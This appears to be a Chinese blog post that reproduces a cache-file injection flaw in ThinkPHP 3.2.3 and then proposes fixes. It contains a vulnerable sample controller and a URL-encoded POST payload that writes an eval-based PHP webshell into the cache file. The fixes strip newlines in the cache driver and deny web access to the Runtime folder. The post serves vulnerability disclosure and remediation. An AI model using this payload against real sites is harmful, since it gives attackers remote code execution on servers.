ThinkPhp3.2.3缓存漏洞复现以及修复建议
ThinkPhp3.2.3缓存漏洞复现以及修复建议
今天早上无意间看到thinkphp的缓存漏洞,小编在实际开发过程中用thinkphp3.2.3挺多的。
漏洞原文链接:https://xianzhi.aliyun.com/forum/read/1973.html有兴趣的小伙伴可以去详细的学习一下 我们这里来复现一下漏洞 后面我会提出修复建议
首先我们下载最新的thinkphp3.2.3的框架 搭建好
按照phpoop牛的审计 我们来写代码
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$a=I('post.a3');
S('name',$a);
}
}
然后我们来post一段代码
a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f
我们可以看到缓存文件已经出现了
至于这个缓存名称
就是
S('name',$a);
中的name的md5
我们来连接这个一句话木马
我们可以看到
这个漏洞是可以利用的但是这个漏洞比较鸡肋
我们在开发的过程种s缓存一般不会用作接收参数的缓存(me就是 接收过来的参数只查询并不进行其他操作)
thinkphp官方手册当中http://document.thinkphp.cn/manual_3_2.html#input_var
详细的讲解了I函数
我们在实际应用的过程当中有详细的解释 比如我们要接收id的时候 id是整数
那么就可以写成I('post.id/d')这样强制转换为整数
实际应用种很少有把接受过来的参数直接缓存起来
修复方案也很简单
- 用phpoop牛的方法
打开文件:thinkphp\library\think\cache\driver\File.php
public function set($name, $value, $expire = null) 方法
添加:$data = str_replace(PHP_EOL, '', $data);
/**
* 写入缓存
* @access public
* @param string $name 缓存变量名
* @param mixed $value 存储数据
* @param int $expire 有效时间 0为永久
* @return boolean
*/
public function set($name,$value,$expire=null) {
N('cache_write',1);
if(is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->filename($name);
$data = serialize($value);
$data = str_replace(PHP_EOL, '', $data); //新增这句代码 修复代码在这里/***********************/////
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data,3);
}
if(C('DATA_CACHE_CHECK')) {//开启数据校验
$check = md5($data);
}else {
$check = '';
}
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
$result = file_put_contents($filename,$data);
if($result) {
if($this->options['length']>0) {
// 记录缓存队列
$this->queue($name);
}
clearstatcache();
return true;
}else {
return false;
}
}
2.在Application\Runtime目录中创建文件.htaccess
<IfModule mod_rewrite.c>
deny from all
</IfModule>